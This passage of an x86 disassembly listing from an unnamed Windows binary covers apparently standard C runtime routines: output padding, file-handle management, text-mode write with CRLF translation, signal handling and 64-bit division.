sub_44C751+185j cmp esi, 20h jbe short loc_44C89E mov [ebp+var_8], 20h jmp short loc_44C8A3 ; --------------------------------------------------------------------------- loc_44C89E: ; CODE XREF: sub_44C751+142j mov eax, esi mov [ebp+var_8], eax loc_44C8A3: ; CODE XREF: sub_44C751+14Bj mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44C8D2 push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44C8CA add [ebx+30h], edi jmp short loc_44C8D2 ; --------------------------------------------------------------------------- loc_44C8CA: ; CODE XREF: sub_44C751+172j or eax, 0FFFFFFFFh jmp loc_44C9B8 ; --------------------------------------------------------------------------- loc_44C8D2: ; CODE XREF: sub_44C751+159j ; sub_44C751+177j sub esi, edi loc_44C8D4: ; CODE XREF: sub_44C751+13Dj test esi, esi jg short loc_44C890 loc_44C8D8: ; CODE XREF: sub_44C751+138j cmp dword ptr [ebx+24h], 0 jle short loc_44C90E mov eax, [ebx+24h] push eax mov eax, [ebx+1Ch] mov edx, [ebx+10h] add eax, edx push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44C906 mov eax, [ebx+24h] add [ebx+30h], eax jmp short loc_44C90E ; --------------------------------------------------------------------------- loc_44C906: ; CODE XREF: sub_44C751+1ABj or eax, 0FFFFFFFFh jmp loc_44C9B8 ; --------------------------------------------------------------------------- loc_44C90E: ; CODE XREF: sub_44C751+18Bj ; sub_44C751+1B3j cmp dword ptr [ebx+28h], 0 jle short loc_44C95E mov esi, [ebx+28h] jmp short loc_44C95A ; --------------------------------------------------------------------------- loc_44C919: ; CODE XREF: sub_44C751+20Bj cmp esi, 20h jbe short loc_44C927 mov [ebp+var_8], 20h jmp short loc_44C92C ; --------------------------------------------------------------------------- loc_44C927: ; CODE XREF: sub_44C751+1CBj mov eax, esi mov [ebp+var_8], eax loc_44C92C: ; CODE XREF: sub_44C751+1D4j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44C958 push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44C953 add [ebx+30h], edi jmp short loc_44C958 ; --------------------------------------------------------------------------- loc_44C953: ; CODE XREF: sub_44C751+1FBj or eax, 0FFFFFFFFh jmp short loc_44C9B8 ; --------------------------------------------------------------------------- loc_44C958: ; CODE XREF: sub_44C751+1E2j ; sub_44C751+200j sub esi, edi loc_44C95A: ; CODE XREF: sub_44C751+1C6j test esi, esi jg short loc_44C919 loc_44C95E: ; CODE XREF: sub_44C751+1C1j test word ptr [ebx+38h], 4 jz short loc_44C9B6 cmp [ebp+var_4], 0 jle short loc_44C9B6 mov esi, [ebp+var_4] jmp short loc_44C9B2 ; --------------------------------------------------------------------------- loc_44C971: ; CODE XREF: sub_44C751+263j cmp esi, 20h jbe short loc_44C97F mov [ebp+var_8], 20h jmp short loc_44C984 ; --------------------------------------------------------------------------- loc_44C97F: ; CODE XREF: sub_44C751+223j mov eax, esi mov [ebp+var_8], eax loc_44C984: ; CODE XREF: sub_44C751+22Cj mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44C9B0 push edi push offset asc_40FE08 ; " " mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44C9AB add [ebx+30h], edi jmp short loc_44C9B0 ; --------------------------------------------------------------------------- loc_44C9AB: ; CODE XREF: sub_44C751+253j or eax, 0FFFFFFFFh jmp short loc_44C9B8 ; --------------------------------------------------------------------------- loc_44C9B0: ; CODE XREF: sub_44C751+23Aj ; sub_44C751+258j sub esi, edi loc_44C9B2: ; CODE XREF: sub_44C751+21Ej test esi, esi jg short loc_44C971 loc_44C9B6: ; CODE XREF: sub_44C751+213j ; sub_44C751+219j xor eax, eax loc_44C9B8: ; CODE XREF: sub_44C751+74j ; sub_44C751+ABj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44C751 endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44C9C1 proc near ; CODE XREF: sub_44AF01+101p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+arg_4] mov eax, ebx and eax, 3 mov esi, dword_40FE4C[eax*4] test ebx, 4 jz short loc_44C9E0 or esi, 8 loc_44C9E0: ; CODE XREF: sub_44C9C1+1Aj test ebx, 8 jz short loc_44C9EE or esi, 200h loc_44C9EE: ; CODE XREF: sub_44C9C1+25j test ebx, 10h jz short loc_44C9FC or esi, 100h loc_44C9FC: ; CODE XREF: sub_44C9C1+33j test ebx, 20h jz short loc_44CA0C or esi, 8000h jmp short loc_44CA12 ; --------------------------------------------------------------------------- loc_44CA0C: ; CODE XREF: sub_44C9C1+41j or esi, 4000h loc_44CA12: ; CODE XREF: sub_44C9C1+49j push 180h push esi mov eax, [ebp+arg_0] push eax call sub_44DC91 add esp, 0Ch pop esi pop ebx pop ebp retn sub_44C9C1 endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44CA31 proc near ; CODE XREF: sub_44B051+Dp push 6 call sub_44E0A1 pop ecx push 1 call sub_449DC1 pop ecx retn sub_44CA31 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44CA51 proc near ; CODE XREF: sub_44CC41+4Bp ; sub_44F031+ADp var_411 = byte ptr -411h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h push ebx push esi push edi mov [ebp+var_C], 0 mov [ebp+var_4], 0 cmp [ebp+arg_8], 0 jnz short loc_44CA78 xor eax, eax jmp loc_44CC3A ; --------------------------------------------------------------------------- loc_44CA78: ; CODE XREF: sub_44CA51+1Ej mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] test byte ptr [eax+edx+4], 20h jz short loc_44CAA4 push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_44E1D1 add esp, 0Ch loc_44CAA4: ; CODE XREF: sub_44CA51+41j mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] test byte ptr [eax+edx+4], 80h jz loc_44CB85 mov esi, [ebp+arg_4] mov [ebp+var_10], 0 jmp loc_44CB71 ; --------------------------------------------------------------------------- loc_44CAD3: ; CODE XREF: sub_44CA51+12Cj lea edi, [ebp+var_411] jmp short loc_44CAF3 ; --------------------------------------------------------------------------- loc_44CADB: ; CODE XREF: sub_44CA51+C0j mov eax, esi inc esi mov bl, [eax] cmp bl, 0Ah jnz short loc_44CAEE inc [ebp+var_4] mov eax, edi inc edi mov byte ptr [eax], 0Dh loc_44CAEE: ; CODE XREF: sub_44CA51+92j mov eax, edi inc edi mov [eax], bl loc_44CAF3: ; CODE XREF: sub_44CA51+88j lea eax, [ebp+var_411] mov edx, edi sub edx, eax cmp edx, 400h jge short loc_44CB13 mov eax, [ebp+arg_4] mov edx, esi sub edx, eax mov eax, edx cmp eax, [ebp+arg_8] jb short loc_44CADB loc_44CB13: ; CODE XREF: sub_44CA51+B2j push 0 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_411] mov edx, edi sub edx, eax mov eax, edx push eax lea eax, [ebp+var_411] push eax mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] mov eax, [eax+edx] push eax call dword_411E08 test eax, eax jz short loc_44CB66 mov eax, [ebp+var_8] add [ebp+var_C], eax lea edx, [ebp+var_411] mov ecx, edi sub ecx, edx cmp eax, ecx jge short loc_44CB71 jmp short loc_44CBCE ; --------------------------------------------------------------------------- loc_44CB66: ; CODE XREF: sub_44CA51+FDj call dword_411CE8 mov [ebp+var_10], eax jmp short loc_44CBCE ; --------------------------------------------------------------------------- loc_44CB71: ; CODE XREF: sub_44CA51+7Dj ; sub_44CA51+111j mov eax, [ebp+arg_4] mov edx, esi sub edx, eax mov eax, edx cmp eax, [ebp+arg_8] jb loc_44CAD3 jmp short loc_44CBCE ; --------------------------------------------------------------------------- loc_44CB85: ; CODE XREF: sub_44CA51+6Dj push 0 lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] mov eax, [eax+edx] push eax call dword_411E08 test eax, eax jz short loc_44CBC5 mov [ebp+var_10], 0 mov eax, [ebp+var_8] mov [ebp+var_C], eax jmp short loc_44CBCE ; --------------------------------------------------------------------------- loc_44CBC5: ; CODE XREF: sub_44CA51+163j call dword_411CE8 mov [ebp+var_10], eax loc_44CBCE: ; CODE XREF: sub_44CA51+113j ; sub_44CA51+11Ej ... cmp [ebp+var_C], 0 jnz short loc_44CC34 cmp [ebp+var_10], 0 jz short loc_44CBFC cmp [ebp+var_10], 5 jnz short loc_44CBED call sub_44A781 mov dword ptr [eax], 9 jmp short loc_44CBF7 ; --------------------------------------------------------------------------- loc_44CBED: ; CODE XREF: sub_44CA51+18Dj mov eax, [ebp+var_10] push eax call sub_44A621 pop ecx loc_44CBF7: ; CODE XREF: sub_44CA51+19Aj or eax, 0FFFFFFFFh jmp short loc_44CC3A ; --------------------------------------------------------------------------- loc_44CBFC: ; CODE XREF: sub_44CA51+187j mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] test byte ptr [eax+edx+4], 40h jz short loc_44CC24 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jnz short loc_44CC24 xor eax, eax jmp short loc_44CC3A ; --------------------------------------------------------------------------- loc_44CC24: ; CODE XREF: sub_44CA51+1C5j ; sub_44CA51+1CDj call sub_44A781 mov dword ptr [eax], 1Ch or eax, 0FFFFFFFFh jmp short loc_44CC3A ; --------------------------------------------------------------------------- loc_44CC34: ; CODE XREF: sub_44CA51+181j mov eax, [ebp+var_C] sub eax, [ebp+var_4] loc_44CC3A: ; CODE XREF: sub_44CA51+22j ; sub_44CA51+1A9j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44CA51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44CC41 proc near ; CODE XREF: sub_44B081+79p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+arg_0] cmp ebx, dword_413A88 jnb short loc_44CC6C mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44CC7C loc_44CC6C: ; CODE XREF: sub_44CC41+Ej call sub_44A781 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44CC9F ; --------------------------------------------------------------------------- loc_44CC7C: ; CODE XREF: sub_44CC41+29j push ebx call sub_44D061 pop ecx mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax push ebx call sub_44CA51 add esp, 0Ch mov esi, eax push ebx call sub_44D0C1 pop ecx mov eax, esi loc_44CC9F: ; CODE XREF: sub_44CC41+39j pop esi pop ebx pop ebp retn sub_44CC41 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44CCB1 proc near ; CODE XREF: DMN1:loc_44D00Bp ; sub_44DCC1:loc_44DEBEp var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi or edi, 0FFFFFFFFh push 4 call sub_44AB21 pop ecx xor esi, esi loc_44CCC7: ; CODE XREF: sub_44CCB1+128j cmp dword_413988[esi*4], 0 jz loc_44CD7E mov ebx, dword_413988[esi*4] jmp loc_44CD63 ; --------------------------------------------------------------------------- loc_44CCE1: ; CODE XREF: sub_44CCB1+C0j test byte ptr [ebx+4], 1 jnz short loc_44CD60 cmp dword ptr [ebx+8], 0 jnz short loc_44CD10 push 3 call sub_44AB21 pop ecx cmp dword ptr [ebx+8], 0 jnz short loc_44CD08 lea eax, [ebx+0Ch] push eax call dword_411CC8 inc dword ptr [ebx+8] loc_44CD08: ; CODE XREF: sub_44CCB1+48j push 3 call sub_44ABA1 pop ecx loc_44CD10: ; CODE XREF: sub_44CCB1+3Aj lea eax, [ebx+0Ch] push eax call dword_411CCC test byte ptr [ebx+4], 1 jz short loc_44CD2C lea eax, [ebx+0Ch] push eax call dword_411CD0 jmp short loc_44CD60 ; --------------------------------------------------------------------------- loc_44CD2C: ; CODE XREF: sub_44CCB1+6Dj mov dword ptr [ebx], 0FFFFFFFFh mov eax, esi shl eax, 5 mov [ebp+var_4], eax mov edx, dword_413988[esi*4] mov ecx, ebx sub ecx, edx mov eax, ecx push eax mov edx, 38E38E39h imul edx pop eax shr eax, 1Fh sar edx, 3 add eax, edx mov edx, [ebp+var_4] lea edi, [eax+edx] jmp short loc_44CD77 ; --------------------------------------------------------------------------- loc_44CD60: ; CODE XREF: sub_44CCB1+34j ; sub_44CCB1+79j add ebx, 24h loc_44CD63: ; CODE XREF: sub_44CCB1+2Bj mov eax, dword_413988[esi*4] add eax, 480h cmp ebx, eax jb loc_44CCE1 loc_44CD77: ; CODE XREF: sub_44CCB1+ADj cmp edi, 0FFFFFFFFh jz short loc_44CDD5 jmp short loc_44CDDF ; --------------------------------------------------------------------------- loc_44CD7E: ; CODE XREF: sub_44CCB1+1Ej push 480h call sub_44A581 pop ecx mov ebx, eax test eax, eax jz short loc_44CDDF mov dword_413988[esi*4], ebx add dword_413A88, 20h jmp short loc_44CDB7 ; --------------------------------------------------------------------------- loc_44CD9F: ; CODE XREF: sub_44CCB1+114j mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_44CDB7: ; CODE XREF: sub_44CCB1+ECj mov eax, dword_413988[esi*4] add eax, 480h cmp ebx, eax jb short loc_44CD9F mov edi, esi shl edi, 5 push edi call sub_44D061 pop ecx jmp short loc_44CDDF ; --------------------------------------------------------------------------- loc_44CDD5: ; CODE XREF: sub_44CCB1+C9j inc esi cmp esi, 40h jl loc_44CCC7 loc_44CDDF: ; CODE XREF: sub_44CCB1+CBj ; sub_44CCB1+DCj ... push 4 call sub_44ABA1 pop ecx mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44CCB1 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_44CDF1 proc near ; CODE XREF: sub_44B161+5Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A88 jnb loc_44CE80 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] add eax, edx test byte ptr [eax+4], 1 jz short loc_44CE80 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_44CE80 test ebx, ebx jz short loc_44CE36 cmp ebx, 1 jz short loc_44CE45 cmp ebx, 2 jz short loc_44CE54 jmp short loc_44CE61 ; --------------------------------------------------------------------------- loc_44CE36: ; CODE XREF: sub_44CDF1+37j push 0 push 0FFFFFFF6h call dword_411E0C jmp short loc_44CE61 ; --------------------------------------------------------------------------- loc_44CE45: ; CODE XREF: sub_44CDF1+3Cj push 0 push 0FFFFFFF5h call dword_411E0C jmp short loc_44CE61 ; --------------------------------------------------------------------------- loc_44CE54: ; CODE XREF: sub_44CDF1+41j push 0 push 0FFFFFFF4h call dword_411E0C loc_44CE61: ; CODE XREF: sub_44CDF1+43j ; sub_44CDF1+52j ... mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov dword ptr [edx+eax], 0FFFFFFFFh xor eax, eax jmp short loc_44CE8E ; --------------------------------------------------------------------------- loc_44CE80: ; CODE XREF: sub_44CDF1+Bj ; sub_44CDF1+2Bj ... call sub_44A781 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_44CE8E: ; CODE XREF: sub_44CDF1+8Dj pop ebx retn sub_44CDF1 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_44CE91 proc near ; CODE XREF: DMN1:0044D02Dp ; sub_44DCC1+2B4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A88 jnb loc_44CF22 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] cmp dword ptr [edx+eax], 0FFFFFFFFh jnz short loc_44CF22 test ebx, ebx jz short loc_44CECF cmp ebx, 1 jz short loc_44CEE1 cmp ebx, 2 jz short loc_44CEF3 jmp short loc_44CF03 ; --------------------------------------------------------------------------- loc_44CECF: ; CODE XREF: sub_44CE91+30j mov eax, [esp+4+arg_4] push eax push 0FFFFFFF6h call dword_411E0C jmp short loc_44CF03 ; --------------------------------------------------------------------------- loc_44CEE1: ; CODE XREF: sub_44CE91+35j mov eax, [esp+4+arg_4] push eax push 0FFFFFFF5h call dword_411E0C jmp short loc_44CF03 ; --------------------------------------------------------------------------- loc_44CEF3: ; CODE XREF: sub_44CE91+3Aj mov eax, [esp+4+arg_4] push eax push 0FFFFFFF4h call dword_411E0C loc_44CF03: ; CODE XREF: sub_44CE91+3Cj ; sub_44CE91+4Ej ... mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov ecx, [esp+4+arg_4] mov [edx+eax], ecx xor eax, eax jmp short loc_44CF30 ; --------------------------------------------------------------------------- loc_44CF22: ; CODE XREF: sub_44CE91+Bj ; sub_44CE91+2Cj call sub_44A781 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_44CF30: ; CODE XREF: sub_44CE91+8Fj pop ebx retn sub_44CE91 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_44CF41 proc near ; CODE XREF: sub_44B161+Cp ; sub_44B161+25p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A88 jnb short loc_44CF82 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jz short loc_44CF82 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov eax, [edx+eax] jmp short loc_44CF90 ; --------------------------------------------------------------------------- loc_44CF82: ; CODE XREF: sub_44CF41+Bj ; sub_44CF41+26j call sub_44A781 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_44CF90: ; CODE XREF: sub_44CF41+3Fj pop ebx retn sub_44CF41 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; --------------------------------------------------------------------------- mov eax, [esp+4] push eax call sub_44CF41 pop ecx retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebx push esi push edi xor bl, bl test byte ptr [esp+14h], 8 jz short loc_44CFC0 or bl, 20h loc_44CFC0: ; CODE XREF: DMN1:0044CFBBj test word ptr [esp+14h], 4000h jz short loc_44CFCC or bl, 80h loc_44CFCC: ; CODE XREF: DMN1:0044CFC7j test byte ptr [esp+14h], 80h jz short loc_44CFD6 or bl, 10h loc_44CFD6: ; CODE XREF: DMN1:0044CFD1j mov eax, [esp+10h] push eax call dword_411DEC mov edi, eax test edi, edi jnz short loc_44CFF9 call dword_411CE8 push eax call sub_44A621 pop ecx or eax, 0FFFFFFFFh jmp short loc_44D052 ; --------------------------------------------------------------------------- loc_44CFF9: ; CODE XREF: DMN1:0044CFE5j cmp edi, 2 jnz short loc_44D003 or bl, 40h jmp short loc_44D00B ; --------------------------------------------------------------------------- loc_44D003: ; CODE XREF: DMN1:0044CFFCj cmp edi, 3 jnz short loc_44D00B or bl, 8 loc_44D00B: ; CODE XREF: DMN1:0044D001j ; DMN1:0044D006j call sub_44CCB1 mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_44D027 call sub_44A781 mov dword ptr [eax], 18h or eax, 0FFFFFFFFh jmp short loc_44D052 ; --------------------------------------------------------------------------- loc_44D027: ; CODE XREF: DMN1:0044D015j mov eax, [esp+10h] push eax push esi call sub_44CE91 add esp, 8 or bl, 1 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_413988[edx*4] mov [edx+eax+4], bl mov eax, esi loc_44D052: ; CODE XREF: DMN1:0044CFF7j ; DMN1:0044D025j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44D061 proc near ; CODE XREF: sub_44B201+3Ap ; sub_44CC41+3Cp ... arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea esi, [edx+eax] cmp dword ptr [esi+8], 0 jnz short loc_44D0A7 push 3 call sub_44AB21 pop ecx cmp dword ptr [esi+8], 0 jnz short loc_44D09F lea eax, [esi+0Ch] push eax call dword_411CC8 inc dword ptr [esi+8] loc_44D09F: ; CODE XREF: sub_44D061+2Fj push 3 call sub_44ABA1 pop ecx loc_44D0A7: ; CODE XREF: sub_44D061+21j lea eax, [esi+0Ch] push eax call dword_411CCC pop esi pop ebx retn sub_44D061 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44D0C1 proc near ; CODE XREF: sub_44B201+4Ap ; sub_44CC41+56p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+0Ch] push eax call dword_411CD0 pop ebx retn sub_44D0C1 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push 1 push 2 call sub_44D131 add esp, 8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_44D10C test ebx, ebx jnz short loc_44D110 loc_44D10C: ; CODE XREF: DMN1:0044D106j xor eax, eax jmp short loc_44D12B ; --------------------------------------------------------------------------- loc_44D110: ; CODE XREF: DMN1:0044D10Aj cmp ebx, 1 jz short loc_44D126 push 0 push 2 call sub_44D131 add esp, 8 push 2 call ebx pop ecx loc_44D126: ; CODE XREF: DMN1:0044D113j mov eax, 1 loc_44D12B: ; CODE XREF: DMN1:0044D10Ej pop ebx retn 4 ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D131 proc near ; CODE XREF: sub_44B581+18p ; sub_44B581+3Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] test ebx, ebx jle short loc_44D14F cmp ebx, 2Ch jge short loc_44D14F cmp [ebp+arg_4], 0FFFFFFFFh jnz short loc_44D157 loc_44D14F: ; CODE XREF: sub_44D131+Ej ; sub_44D131+13j or eax, 0FFFFFFFFh jmp loc_44D207 ; --------------------------------------------------------------------------- loc_44D157: ; CODE XREF: sub_44D131+1Cj cmp ebx, 4 jz short loc_44D166 cmp ebx, 8 jz short loc_44D166 cmp ebx, 0Bh jnz short loc_44D1C5 loc_44D166: ; CODE XREF: sub_44D131+29j ; sub_44D131+2Ej call sub_44B471 mov [ebp+var_8], eax mov eax, [eax+34h] cmp eax, offset dword_4117E4 jnz short loc_44D1A6 push 0B0h call sub_44A581 pop ecx mov edx, [ebp+var_8] mov [edx+34h], eax test eax, eax jz short loc_44D1A1 mov eax, [ebp+var_8] mov edi, [eax+34h] mov esi, offset dword_4117E4 mov ecx, 2Ch rep movsd jmp short loc_44D1A6 ; --------------------------------------------------------------------------- loc_44D1A1: ; CODE XREF: sub_44D131+5Aj or eax, 0FFFFFFFFh jmp short loc_44D207 ; --------------------------------------------------------------------------- loc_44D1A6: ; CODE XREF: sub_44D131+45j ; sub_44D131+6Ej mov eax, ebx shl eax, 2 mov edx, [ebp+var_8] mov ecx, [edx+34h] mov ecx, [ecx+eax] mov [ebp+var_4], ecx mov edx, [edx+34h] mov ecx, [ebp+arg_4] mov [edx+eax], ecx mov eax, [ebp+var_4] jmp short loc_44D207 ; --------------------------------------------------------------------------- loc_44D1C5: ; CODE XREF: sub_44D131+33j cmp ebx, 2 jnz short loc_44D1F3 cmp dword_41189C, 0 jnz short loc_44D1F3 push 1 push offset sub_40ADD0 call dword_411E10 test eax, eax jnz short loc_44D1E9 or eax, 0FFFFFFFFh jmp short loc_44D207 ; --------------------------------------------------------------------------- loc_44D1E9: ; CODE XREF: sub_44D131+B1j mov dword_41189C, 1 loc_44D1F3: ; CODE XREF: sub_44D131+97j ; sub_44D131+A0j lea eax, ds:4117E4h[ebx*4] mov edx, [eax] mov [ebp+var_4], edx mov edx, [ebp+arg_4] mov [eax], edx mov eax, [ebp+var_4] loc_44D207: ; CODE XREF: sub_44D131+21j ; sub_44D131+73j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44D131 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= sub_44D211 proc near ; CODE XREF: DMN1:00449EACp arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_44D211 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44D221 proc near ; CODE XREF: DMN1:0044B66Dp ; sub_44D3E1+F3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_4] or eax, eax jnz short loc_44D243 mov ecx, [esp+8+arg_0] mov eax, [esp+8+arg_C] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_8] div ecx mov edx, ebx jmp short loc_44D284 ; --------------------------------------------------------------------------- loc_44D243: ; CODE XREF: sub_44D221+8j mov ecx, eax mov ebx, [esp+8+arg_0] mov edx, [esp+8+arg_C] mov eax, [esp+8+arg_8] loc_44D251: ; CODE XREF: sub_44D221+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_44D251 div ebx mov esi, eax mul [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] mul esi add edx, ecx jb short loc_44D27F cmp edx, [esp+8+arg_C] ja short loc_44D27F jb short loc_44D280 cmp eax, [esp+8+arg_8] jbe short loc_44D280 loc_44D27F: ; CODE XREF: sub_44D221+4Ej ; sub_44D221+54j dec esi loc_44D280: ; CODE XREF: sub_44D221+56j ; sub_44D221+5Cj xor edx, edx mov eax, esi loc_44D284: ; CODE XREF: sub_44D221+20j pop esi pop ebx retn 10h sub_44D221 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D291 proc near ; CODE XREF: sub_44C011+B3p ; sub_44C011+6E1p var_64 = dword ptr -64h var_60 = byte ptr -60h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] cmp dword ptr [ebx+2Ch], 0 jge short loc_44D2AF mov [ebp+var_64], 7FFFFFFFh jmp short loc_44D2B5 ; --------------------------------------------------------------------------- loc_44D2AF: ; CODE XREF: sub_44D291+13j mov eax, [ebx+2Ch] mov [ebp+var_64], eax loc_44D2B5: ; CODE XREF: sub_44D291+1Cj mov eax, [ebp+var_64] mov [ebp+var_4], eax movzx eax, byte_4118A0 mov edx, [ebx+34h] add eax, edx mov [ebp+var_14], eax mov [ebp+var_1C], 0 mov [ebp+var_18], 0 test word ptr [ebx+38h], 4 jnz short loc_44D2E6 cmp [ebp+var_14], 40h ja short loc_44D2F5 loc_44D2E6: ; CODE XREF: sub_44D291+4Dj lea eax, [ebp+var_60] mov [ebp+var_10], eax mov [ebp+var_14], 40h jmp short loc_44D30E ; --------------------------------------------------------------------------- loc_44D2F5: ; CODE XREF: sub_44D291+53j mov eax, [ebp+var_14] push eax call sub_44A581 pop 